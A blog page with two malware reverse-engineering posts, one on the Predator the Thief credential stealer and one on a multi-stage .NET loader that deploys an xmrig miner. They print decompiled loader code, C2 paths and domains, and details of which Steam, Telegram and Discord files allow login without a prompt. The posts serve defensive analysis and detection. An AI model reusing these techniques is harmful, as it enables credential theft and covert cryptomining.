Normal view

There are new articles available, click to refresh the page.
Before yesterdayMalware

Predator The Thief: In-depth analysis (v2.3.5)

By: fumko
15 October 2018 at 13:46

Well, it’s been a long time without some fresh new contents on my blog. I had some unexpected problems that kept me away from here and a lot of work (like my tracker) that explain this. But it’s time to come back (slowly) with some stuff.

So today, this is an In-Depth analysis of one stealer: “Predator the thief”, written in C/C++. Like dozen others malware, it’s a ready to sell malware delivered as a builder & C2 panel package.

The goal is to explain step by step how this malware is working with a lot of extra explanations for some parts. This post is mainly addressed for junior reverse engineers or malware analysts who want for future purposes to understand and defeat some techniques/tricks easily.

So here we go!

Classical life cycle

The execution order is almost the same, for most of the stealers nowadays. Changes are mostly varying between evading techniques and how they interact with the C2.  For example, with Predator, the set up is quite simple but could vary if the attacker set up a loader on his C2.

Diagram

The life cycle of Predator the thief

Preparing the field

Before stealing sensitive data, Predator starts by setting up some basics stuff to be able to work correctly. Almost all the configuration is loaded into memory step by step.

EntryPoint

So let’s put a breakpoint at “0x00472866” and inspect the code…

Call_Setup

  1. EBX is set to be the length of our loop (in our case here, it will be 0x0F)
  2. ESI have all functions addresses storedESI_Addresses
  3. EAX, will grab one address from ESI and moves it into EBP-8
  4. EBP is called, so at this point, a config function will unpack some data and saved it into the stack)
  5. ESI position is now advanced by 4
  6. EDI is incremented until reaching the same value as stored EBX
  7. When the EDI == EBX, it means that all required configuration values are stored into the stack. The main part of the malware could start

So, for example, let’s see what we have  inside 0040101D at 0x00488278

So with x32dbg, let’s see what we have… with a simple command

Command: go 0x0040101D

As you can see, this is where the C2 is stored, uncovered and saved into the stack.

C2

So what values are stored with this technique?

  • C2 Domain
  • %APPDATA% Folder
  • Predator Folder
  • temporary name of the archive predator file and position
  • also, the name of the archive when it will send to the C2
  • etc…

With the help of the %APPDATA%/Roaming path, the Predator folder is created (\ptst). Something notable with this is that it’s hardcoded behind a Xor string and not generated randomly. By pure speculation, It could be a shortcut for “Predator The STealer”.

This is also the same constatation for the name of the temporary archive file during the stealing process: “zpar.zip”.

The welcome message…

When you are positioned at the main module of the stealer, a lovely text looped over 0x06400000 times is addressed for people who want to reverse it.

welcome

Obfuscation Techniques

The thief who loves XOR (a little bit too much…)

Almost all the strings from this stealer sample are XORed, even if this obfuscation technique is really easy to understand and one of the easier to decrypt. Here, its used at multiple forms just to slow down the analysis.

GetProcAddress Alternatives

For avoiding to call directly modules from different libraries, it uses some classic stuff to search step by step a specific API request and stores it into a register. It permits to hide the direct call of the module into a simple register call.

So firstly,  a XORed string (a DLL) is decrypted.  So for this case, the kernel32.dll is required for the specific module that the malware wants to call.

Step_1_API

When the decryption is done, this library is loaded with the help of “LoadLibraryA“. Then, a clear text is pushed into EDX: “CreateDirectoryA“… This will be the module that the stealer wants to use.

The only thing that it needs now, its to retrieve the address of an exported function “CreateDirectoryA” from kernel32.dll. Usually, this is done with the help of GetProcAddress but this function is in fact not called and another trick is used to get the right value.

Step_2_API

So this string and the IMAGE_DOS_HEADER of kernel32.dll are sent into “func_GetProcesAddress_0”. The idea is to get manually the pointer of the function address that we want with the help of the Export Table. So let’s see what we have in the in it…

struct IMAGE_EXPORT_DIRECTORY {
	long Characteristics;
	long TimeDateStamp;
	short MajorVersion;
	short MinorVersion;
	long Name;
	long Base;
	long NumberOfFunctions;
	long NumberOfNames;
	long *AddressOfFunctions;    <= This good boy
	long *AddressOfNames;        <= This good boy 
	long *AddressOfNameOrdinals; <= This good boy
}

After inspecting the structure de IMAGE_EXPORT_DIRECTORY, three fields are mandatory :

  • AddressOfFunctions – An Array who contains the relative value address (RVA) of the functions of the module.
  • AddressOfNames – An array who stores with the ascending order of all functions from this module.
  • AddressOfNamesOrdinals – An 16 bits array who contains all the associated ordinals of functions names based on the AddressOfNames.

source

So after saving the absolute position of these 3 arrays, the loop is simple

Function_Get

  1. Grab the RVA of one function
  2. Get the name of this function
  3. Compare the string with the desired one.

So let’s see in details to understand everything :

If we dig into ds:[eax+edx*4], this where is stored all relative value address of the kernel32.dll export table functions.

RVA
With the next instruction add eax,ecx. This remains to go at the exact position of the string value in the “AddressOfNames” array.

DLLBaseAddress + AddressOfNameRVA[i] = Function Name 
   751F0000    +       0C41D4        = CreateDirectoryA

Address of names

The comparison is matching,  now it needs to store the “procAddress.  So First the Ordinal Number of the function is saved. Then with the help of this value, the Function Address position is grabbed and saved into ESI.

ADD           ESI, ECX
ProcAddress = Function Address + DLLBaseAddress

In disassembly, it looks like this :

GetProcAddress

Let’s inspect the code at the specific procAddress…

Check_01

Step_END_API

So everything is done, the address of the function is now stored into EAX and it only needs now to be called.

Anti-VM Technique

Here is used a simple Anti-VM Technique to check if this stealer is launched on a virtual machine. This is also the only Anti-Detection trick used on Predator.

Anti_VM_01

First, User32.dll (Xored) is dynamically loaded with the help of “LoadLibraryA“, Then “EnumDisplayDevicesA” module is requested with the help of User32.dll. The idea here is to get the value of the “Device Description” of the current display used.

When it’s done, the result is checked with some values (obviously xored too) :

  • Hyper-V
  • VMware
  • VirtualBox

regedit_hyperv

If the string matches, you are redirected to a function renamed here “func_VmDetectedGoodBye.

How to By-Pass this Anti-VM technique?

For avoiding this simple trick, the goal is to modify the REG_SZ value of “DriverDesc” into {4d36e968-e325-11ce-bfc1-08002be10318} to something else.

regedit_bypass

And voilà!

Troll

Stealing Part

Let’s talk about the main subject… How this stealer is organized… As far I disassemble the code, this is all the folders that the malware is setting on the “ptst” repository before sending it as an archive on the C2.

  • Folder
    • Files: Contains all classical text/documents files at specifics paths
    • FileZilla: Grab one or two files from this FTP
    • WinFTP: Grab one file from this FTP
    • Cookies: Saved stolen cookies from different browsers
    • General: Generic Data
    • Steam: Steal login account data
    • Discord: Steal login account data
  • Files
    • Information.log
    • Screenshot.jpeg <= Screenshot of the current screen

Telegram

For checking if Telegram is installed on the machine, the malware is checking if the KeyPath “Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1” exists on the machine.

So let’s inspect what we have inside this “KeyPath”? After digging into the code, the stealer will request the value of “InstallLocation” because of this where Telegram is installed currently on the machine.

Install

Step by step, the path is recreated (also always, all strings are xored) :

  • %TELEGRAM_PATH%
  • \Telegram Desktop
  • \tdata
  • \D877F783D5D3EF8C

map file

The folder “D877F783D5D3EF8C” is where all Telegram cache is stored. This is the sensitive data that the stealer wants to grab. Also during the process, the file map* (i.e: map1) is also checked and this file is, in fact, the encryption key. So if someone grabs everything for this folder, this leads the attacker to have an access (login without prompt) into the victim account.

Steam

The technique used by the stealer to get information for one software will remain the same for the next events (for most of the cases). This greatly facilitates the understanding of this malware.

So first, it’s checking the “SteamPath” key value at “HKCU\Software\Valve\Steam” to grab the correct Steam repository. This value is after concatenating with a bunch of files that are necessary to compromise a Steam Account.

So it will check first if ssfn files are present on the machine with the help of “func_FindFiles”, if it matches, they are duplicated into the temporary malware folder stored on %APPDATA%/XXXX. Then do the same things with config.vdf

XOR_3

So what the point with these files? First, after some research, a post on Reddit was quite interesting. it explained that ssfn files permit to by-pass SteamGuard during the user log-on.

Steam

Now what the point of the second file? this is where you could know some information about the user account and all the applications that are installed on the machine. Also, if the ConnectCache field is found on this one, it is possible to log into the stolen account without steam authentication prompt. if you are curious, this pattern is represented just like this :

"ConnectCache"
{
       "STEAM_USERNAME_IN_CRC32_FORMAT" "SOME_HEX_STUFF"
}

The last file, that the stealer wants to grab is “loginusers.vdf”. This one could be used for multiple purposes but mainly for setting the account in offline mode manually.

XOR_4

For more details on the subject there a nice report made by Kapersky for this:

Wallets

The stealer is supporting multiple digital wallets such as :

  • Ethereum
  • Multibit
  • Electrum
  • Armory
  • Bytecoin
  • Bitcoin
  • Etc…

The functionality is rudimentary but it’s enough to grab specific files such as :

  • *.wallet
  • *.dat

And as usual, all the strings are XORed.

Wallet

FTP software

The stealer supports two FTP software :

  • Filezilla
  • WInFTP

It’s really rudimentary because he only search for three files, and they are available a simple copy to the predator is done :

  • %APPDATA%\Filezilla\sitemanager.xml
  • %APPDATA%\Filezilla\recentservers.xml
  • %PROGRAMFILES%\WinFtp Client\Favorites.dat

Browsers

It’s not necessary to have some deeper explanation about what kind of file the stealer will focus on browsers. There is currently a dozen articles that explain how this kind of malware manages to steal web data. I recommend you to read this article made by @coldshell about an example of overview and well detailed.

As usual, popular Chrome-based & Firefox-based browsers and also Opera are mainly targeted by Predator.

This is the current official list supported by this stealer :

  • Amigo
  • BlackHawk
  • Chromium
  • Comodo Dragon
  • Cyberfox
  • Epic Privacy Browser
  • Google Chrome
  • IceCat
  • K-Meleon
  • Kometa
  • Maxthon5
  • Mozilla Firefox
  • Nichrome
  • Opera
  • Orbitum
  • Pale Moon
  • Sputnik
  • Torch
  • Vivaldi
  • Waterfox
  • Etc…

This one is also using SQLite for extracting data from browsers and using and saved them into a temporary file name “vlmi{lulz}yg.col”.

sqlite

So the task is simple :

  • Stole SQL Browser file
  • Extract data with the help of SQLite and put into a temporary file
  • Then read and save it into a text file with a specific name (for each browser).

cookies

When forms data or credentials are found they’re saved into two files on the General repository :

  • forms.log
  • password.log
  • cards.log

General

Discord

If discord is detected on the machine, the stealer will search and copy the “https_discordapp_*localstorage” file into the “ptst” folder. This file contains all sensitive information about the account and could permit some authentication without a prompt login if this one is pushed into the correct directory of the attacker machine.

Discord_Part1Discord_Part2Discord_Part3

Predator is inspecting multiple places…

This stealer is stealing data from 3 strategical folders :

  • Desktop
  • Downloads
  • Documents

Each time, the task will be the same, it will search 4 type of files with the help of GetFileAttributesA :

  • *.doc
  • *.docx
  • *.txt
  • *.log

When it matches, they have copied into a folder named “Files”.

Information.log

When tasks are done, the malware starts generating a summarize file, who contains some specific and sensitive data from the machine victim beside the file “Information.log”. For DFIR, this file is the artifact to identify the name of the malware because it contains the name and the specific version.

So first, it writes the Username of the user that has executed the payload, the computer name, and the OS Version.

User name: lolilol
Machine name: Computer 
OS version: Windoge 10

Then copy the content of the clipboard with the help of GetClipBoardData

Current clipboard: 
-------------- 
Omelette du fromage

Let’s continue the process…

Startup folder: C:\Users\lolilol\AppData\Local\Temp\predator.exe

Some classic specification about the machine is requested and saved into the file.

CPU info: Some bad CPU | Amount of kernels: 128 (Current CPU usage: 46.112917%) 
GPU info: Fumik0_ graphical display 
Amount of RAM: 12 GB (Current RAM usage: 240 MB) 
Screen resolution: 1900x1005

Then, all the user accounts are indicated

Computer users: 
lolilol 
Administrator 
All Users 
Default 
Default User 
Public

The last part is about some exotics information that is quite awkward in fact… Firstly, for some reasons that I don’t want to understand, there is the compile time hardcoded on the payload.

Compile Time

Then the second exotic data saved into Information.log is the grabbing execution time for stealing contents from the machine… This information could be useful for debugging some tweaks with the features.

Additional information:
Compile time: Aug 31 2018
Grabbing time: 0.359375 second(s)

C2 Communications

For finishing the information.log, a GET request is made for getting some network data about the victim…

First, it set up the request by uncovered some Data like :

  • A user-agent
  • The content-type

UA

  • The API URL ( /api/info.get )

We can have for example this result :

Amsterdam;Netherlands;52.3702;4.89517;51.15.43.205;Europe/Amsterdam;1012;

When the request is done, the data is consolidated step by step with the help of different loops and conditions.

GET01

When the task is done, there are saved into Information.log

City: Nopeland 
Country:  NopeCountry
Coordinates: XX.XXXX N, X.XXXX W 
IP: XXX.XXX.XXX.XXX 
Timezone: Nowhere 
Zip code: XXXXX

The Archive is not complete, it only needs for the stealer to send it to the C2.

zpar.zip

So now it set up some pieces of information into the gate.get request with specifics arguments, from p1 to p7, for example :

  • p1: Number of accounts stolen
  • p2: Number of cookies stolen
  • p4: Number of forms stolen
  • etc…

results :

Request

The POST request is now complete, the stealer will clean everything and quit.

Panel_C2_Example

Example of Predator C2 Panel with fancy background…

Update – v2.3.7

So during the analysis,  new versions were pushed… Currently (at the time where this post was redacted), the v3 has been released, but without possession of this specific version, I won’t talk anything about it and will me be focus only on the 2.3.7.

It’s useless to review from scratch, the mechanic of this stealer is still the same, just some tweak or other arrangements was done for multiple purposes… Without digging too much into it, let’s see some changes (not all) that I found interesting.

changelog

Changelog of v2.3.7 explained by the author

As usual, this is the same patterns :

  • Code optimizations (Faster / Lightweight)
  • More features…

As you can see v2.3.7 on the right is much longer than v2.3.5 (left), but the backbone is still the same.

Mutex

On 2.3.7,  A mutex is integrated with a specific string called “SyystemServs”

Xor / Obfuscated Strings

XOR_v2

During the C2 requests, URL arguments are generated byte per byte and unXOR.

For example :

push 04
...
push 61
...
push 70
...
leads to this 
HEX    : 046170692F676174652E6765743F70313D
STRING : .api/gate.get?p1=

This is basic and simple but enough to just slow down the review of the strings. but at least, it’s really easy to uncover it, so it doesn’t matter.

This tweak by far is why the code is much longer than v2.3.5.

Loader

Not seen before (as far I saw), it seems on 2.3.7, it integrates a loader feature to push another payload on the victim machine, easily recognizable with the adequate GET Request

/api/download.get

The API request permits to the malware to get an URL into text format. Then Download and saved it into disk and execute it with the help of ShellExecuteA

Loader

There also some other tweaks, but it’s unnecessary to detail on this review, I let you this task by yourself if you are curious 🙂

IoC

v2.3.5

  • 299f83d5a35f17aa97d40db667a52dcc | Sample Packed
  • 3cb386716d7b90b4dca1610afbd5b146 | Sample Unpacked
  • kent-adam.myjino.ru | C2 Domain

v2.3.7

  •  cbcc48fe0fa0fd30cb4c088fae582118 | Sample Unpacked
  •  denbaliberdin.myjino.ru | C2 Domain

HTTP Patterns

  • GET    –   /api/info.get
  • POST  –  /api//gate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X
  • GET    –  /api/download.get

MITRE ATT&CK

v2.3.5

  • Discovery – Peripheral Device Discovery
  • Discovery – System Information Discovery
  • Discovery – System Time Discovery
  • Discovery – Query Registry
  • Credential Access – Credentials in Files
  • Exfiltration – Data Compressed

v2.3.7

  • Discovery – Peripheral Device Discovery
  • Discovery – System Information Discovery
  • Discovery – System Time Discovery
  • Discovery – Query Registry
  • Credential Access – Credentials in Files
  • Exfiltration – Data Compressed
  • Execution –  Execution through API

Author / Threat Actor

  • Alexuiop1337

Yara Rule

rule Predator_The_Thief : Predator_The_Thief {
    meta:
        description = "Yara rule for Predator The Thief v2.3.5 & +"
        author = "Fumik0_"
        date = "2018/10/12"
        update = "2018/12/19"

    strings:
        $mz = { 4D 5A }

        // V2
        $hex1 = { BF 00 00 40 06 } 
        $hex2 = { C6 04 31 6B }
        $hex3 = { C6 04 31 63 }
        $hex4 = { C6 04 31 75 }
        $hex5 = { C6 04 31 66 }
 
        $s1 = "sqlite_" ascii wide
 
        // V3
        $x1 = { C6 84 24 ?? ?? 00 00 8C } 
        $x2 = { C6 84 24 ?? ?? 00 00 1A }  
        $x3 = { C6 84 24 ?? ?? 00 00 D4 } 
        $x4 = { C6 84 24 ?? ?? 00 00 03 }  
        $x5 = { C6 84 24 ?? ?? 00 00 B4 } 
        $x6 = { C6 84 24 ?? ?? 00 00 80 }
 
    condition:
        $mz at 0 and 
        ( ( all of ($hex*) and all of ($s*) ) or (all of ($x*)))
}

 

Recommendations

  • Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools)  to trigger as much as possible all kind of possible Anti-VM detection and closing malware. When you have done with your activities stop the VM and restore it a Specific clean snapshot when it’s done.
  • Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.
  • Avoiding Cracks and other stupid fake hacks, stealers are usually behind the current game trendings (especially in those times with Fortnite…).
  • Use containers for software that you are using, this will reduce the risk of stealing data.
  • Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.
  • Don’t use the same password for all your websites (use 2FA and it’s possible), we are in 2018, and this still sadly everywhere like this.
  • Make some noise with your data, that will permit to lose some attacker minds to find some accurate values into the junk information.
  • Use a Vault Password software.
  • Troll/Not Troll: Learn Russian and put your keyboard in Cyrillic 🙂

Conclusion

Stealers are not sophisticated malware, but they are enough effective to make some irreversible damage for victims. Email accounts and other credentials are more and more impactful and this will be worse with the years. Behaviors must changes for the account management to limit this kind of scenario. Awareness and good practices are the keys and this will not be a simple security software solution that will solve everything.

Well for me I’ve enough work, it’s time to sleep a little…

Himouto Habits

#HappyHunting

Update 2018-10-23 : Yara Rules now working also for v3

Some fun with a miner

By: fumko
21 May 2018 at 08:39

A few weeks ago I came across a malware that gave me some interests to dig more into it. It has a curious way to deploy itself, set up a miner on the machine and hide it behind some legit processes.

In an example, when we look at Process Hacker :

  • Visual Basic Compiler is launched without reasons
  • An awkward child process “Notepad.exe” is consuming a lot of CPU

process_hacker

At first glance, my first thought was “What the heck is going on there ?”

First stage

All begin with a sample available at this address :

hxxp://netload.trade/ghghdshch130.exe

This is a .NET application and starts at this EntryPoint :

static void StatusBarPanelCollection(string[] args) {
	ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}

The first thing called behind is an Assembly method named ExprVisitorBase().

public static Assembly ExprVisitorBase() {
  CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
  CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
    {
      IncludeDebugInformation = true,
      GenerateExecutable = false,
      GenerateInMemory = true,
      IncludeDebugInformation = true,
      ReferencedAssemblies = 
        {
          string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
        },
        CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
    }, new string[]
    {
      ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]), 
      .POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
    });
  return compilerResults.CompiledAssembly;
}

This program is going to programmatically compile some code. Indeed, it is possible in .NET to access to the C# compiler with the help of the CSharpCodeProvider class. The call to CompileAssemblyFromSource is where the assembly gets compiled. This method takes the parameters object (CompilerParameters) and the source code, which is a string.

First, if we look deeper into the CompilerParameters object, the configuration let us understand that the new program will be a DLL file and there will be no trace on disk. It will require a specific reference to being able to work, but the string is obfuscated and required “POasdIsd” to be decoded.

internal class 
{
 	public static string POasdIsd(string string_0)
	{
		byte[] bytes = Convert.FromBase64String(string_0);
		return Encoding.UTF8.GetString(bytes);
	}
}

It’s easy to understand “POasdIsd” is just a Base64decode function, and our encoded string is, in fact, the word “System.Drawing.dll”. So this means, this reference is required to compile the source code.

If we continue the analysis, it sets some compiler argument. decoded, this will be compiled in debug mode for an x86 platform :

/optimize+ /platform:X86 /debug+ /target:winexe

So now, the only thing needed is the source code and it’s stored in the variable SizeSoapParameterAttribute, which is of course also obfuscated by a Base64 encoding and additionally encrypted with a XOR key (5).

public static string SizeSoapParameterAttribute = 
    ToolStripItemEventArgs.ASSEMBLY_FLAGS(
        .POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);

If we place some breakpoint on the debugger we can see step by step, the generated c# source code

Generating_cs

Give me my source code, please…

When everything is done, the compilation could be done. We can see that with Process Monitor.

procmon.png

Second stage

At this state, the DLL is compiled and loaded on memory. No need to extract and decompiled it because we have the code! So if we look deeper into it, this file contains a lot of spaghetti code, but the main class is easy to find.

Second_code.png

When we rename some function, it’s clearer to understand the goal of this library.

private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;

...

private static void Main()
{
  try
  {
    IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
    uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
    IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
    IntPtr source = Program.LockResource(hResData);
    Program.Payload = new byte[size];
    Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
    Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
    Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
    thread.Start();
  }
  catch
  {
  }
}

So when it’s loaded into memory. It will request an HTML resource (IntPtr(23) is RT_HTML) of the main program, so if you debug this DLL on DNspy, it will crash because it will target a resource that does not exist on it. So let’s go back a bit on “ghghdshch130.exe” and inspect .rsrc. We have a curious file with named 138 (which is the Resource ID)

138 RT

So if we inspect it, this is a PNG file, with a 461 x 461 dimension, 8-bit/color RGBA, non-interlaced.

Image.png

So now lets the magic happen… With the code seen as above, this image is converted into a byte array and then again into an image (Bitmap format). The main reason here,  its to be able to use ConvertFromBmp, the most important function of the DLL file. The goal is to reorganized properly into memory, the different sections of the payload with the help of BlockCopy. So it will copy pixel per pixel on the correct destination offset with a 4 bytes buffer each time.

I clean the code to understand clearly the steps.

private static byte[] ConvertFromBmp(Bitmap imageFile) { 
 int width = imageFile.Width; 
 int correctSize = width * width * 4; 
 byte[] correctOffset = new byte[correctSize]; 
 int size = 0; 
 for (int x = 0; x < width; x++) { 
   for (int y = 0; y < width; y++) { 
     Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4); 
     size += 4; 
   } 
 }

 int finalSize = BitConverter.ToInt32(array, 0); 
 byte[] XorPayload = new byte[finalSize]; 
 Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length); 
 
 return XorPayload; 
}

So now, our payload is almost done, it has just be decrypted with a specific xor key, in this case, its the value “UUeoCoipGuVc”

internal class Program
{
private static byte[] XOR(byte[] bytes)
{
  byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
  for (int i = 0; i < bytes.Length; i++)
  {
  int num = i;
  bytes[num] ^= bytes2[i % 16];
  }
  return bytes;
}

When the payload is “finally” created, the assembly object is loaded into a thread.

Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader)); 
thread.Start();

Third Stage

So if you believe that everything is done. Well, unfortunately, you are very wrong ! This is packed/obfuscated… again!

throw.gif

Without entering into some madness to understand the code, I note that there are three files right now in the resource folder.

resources.png

Two of them are XOR encrypted payloads and one is a text file with Base64 encoded strings. When we look into the “shitty” code to understand what is the purpose of the text file, this is in fact, a Manifest Resource Stream, a content that is embedded in the assembly at compile time. With some lines of python code, let’s see what we have when everything is decoded :

 => python3 manifest.py 
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'

The last entry is pretty interesting because it shows us that this stage is in fact packed with Dotwall, a .NET obfuscator that is not available on the public on this day (or it looks like).

So what is the goal of this stage?

First, it copies the first stage on the main user directory and keeps the new path into memory for future purposes. Then delete the alternate stream name Zone.Identifier of this file, so it permits here, to erase its traces to confirm this malware was downloaded from the outside network.

Then it sets a persistence trick with an Internet Shortcut file created on Windows startup menu named “rTErod.url”‘, which could probably explain why the Zone.Identifier task was done above.

[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe

Then, it searches if the visual basic compiler is present on the machine, and inject the resource “rWyMgsOzOKRu” into it. To simplify the way how the program decrypts this file, with all the interaction of different classes and the manifest that leads us to hundreds line of code, I could summarize this with just 10 lines of C# source code.

byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key 
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload

for (int i = 0; i < buffer.Length; i++) {
    buffer[i] ^= bytes[i % 16];
}

using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
 decrypted.Write(bytes, 0, byteArray.Length);
}       

this Assembly is named “adderalldll” and remains to Adderall Protector.

AdderallDll.png

adderall_logo.png

adderall_topics

After some cleaning, this tool is called by using some reflection.  The run() method of the new Object class (Adderall) is invoked with some additional arguments in entries:

  • @”C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe”
  • “”
  • DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
  • true
Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe";

Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
 vbcPath, 
 "",      
 DecryptPayload(cryptedResource), 
 true 
});

Fourth Stage

So what we have into the adderall.dll? Well… This is obfuscated with Dotwall and It looks like there are no embedded payload resources, just the manifest stream file. It means that we are very close to our final miner malware!

adderall_rsrc

So let’s see what we have again on the decoded Manifest :

=> python3 manifest.py 
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'

Typically, we understand that the goal here its execute some process injection and the process vbc.exe will host the malware.

Fifth Stage

So now, that our miner is finally deployed, let’s do some analysis on it. The first thing that we see here is that this one is developed in C/C++.

The malware is checking if it’s running on 32 or 64 bits with the help of IsWow64Process and will decide where it will do some process injection:

  • If it’s 32 bits, the miner will be behind wuapp.exe
  • If it’s 64 bits, the miner will be behind notepad.exe

process_choice.png

As below, this is an example of a process injection of notepad.exe behind Winrar.exe, a child process of explorer.exe

Process Injection

It looks like that we have here an xmrig miner at reading the command line if we check directly on the help display, its identical.

  -a, --algo=ALGO          cryptonight (default) or cryptonight-lite
  -o, --url=URL            URL of mining server
  -O, --userpass=U:P       username:password pair for mining server
  -u, --user=USERNAME      username for mining server
  -p, --pass=PASSWORD      password for mining server
  -t, --threads=N          number of miner threads
...
  -c, --config=FILE        load a JSON-format configuration file
...

To confirm if it’s this specific miner, let’s dump memory on base address 0x400000 :

Notepad_Miner

Our PE header is erased and compressed with UPX

UPX_xmrig.png

…and with a quick search, our xmrig miner is right here 🙂

miner_xmrig.png

Miner config Setup

The malware is generating a specific xmrig config file for the victim machine. First, it pushed the miner pool and the user account.

xmrig

Then, the typical xmrig config file is generated and saved into two files “cfg” and cfgi”.

config_file.png

In this example, the output config file is this :

{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "[email protected]", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}
Persistence

Another persistence is also added at this step, a registry key is created and this entry is periodically checked.

registry

The executable file linked with the registry is in the same folder with the miner configurations and this is a legit vbc.exe process 🙂

appdata

So at the end, you are here…

legit_vbc
Hiding Method

This malware checks if the task manager is launched.

FindTaskMgrExe

if it matches, it will shutdown notepad.exe process, if the miner is currently executed. Then, the miner will not restart it again as long as taskmgr is still opened.

kill_notepad.png

Summary

  1. We have an executable who compiled and injected itself a DLL
  2. This DLL deploys another executable which was behind a fake PNG file and was also injected into the first payload
  3. In this program, a DLL named Adderall is Invoked, this permits to deploy the unpacked malware into visual basic compiler with the help of RunPE
  4. Our final malware will set up a miner config and injects xmrig into a notepad.exe or wuapp.exe (according to a 32 or 64 bits Operating System).

DU-IJlvXUAUrBRu.jpg

Yara rules

Xmrig Miner Malware

rule XmrigMinerMalware {
    meta:
        description = "Xmrig Miner Malware"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $s1 = "\\cfg" wide ascii
        $s2 = "\\cfgi" wide ascii
        $s3 = "\\notepad.exe" wide ascii
        $s4 = "\\wuapp.exe" wide ascii
        $s5 = "--show-window" wide ascii
        $s6 = "taskmgr.exe" wide ascii
        $s7 = "Miner" wide ascii
    condition:
        $mz at 0 and all of ($s*) 
}

Adderall Protector

rule Adderall {
    meta:
        description = "Adderall Protector"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "adderalldll" wide ascii
    condition:
        $mz at 0 and (all of ($n*) and $s1)
}

Dotwall Obfuscator

rule DotWall {
    meta:
        description = "Dotwall Obfuscator"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "RG90d2Fsb" wide ascii
    condition:
        $mz at 0 and (
            all of ($n*) and $s1
        )
}

IoC

[email protected] _

517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC
AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F
40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F
0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9
7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911
BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677

Conclusion

This miner was pretty cool to reverse for using differents techniques. Good time (and some headaches) to explain and understand the different tasks.

Happy Hunting

Happy Hunting!

❌
❌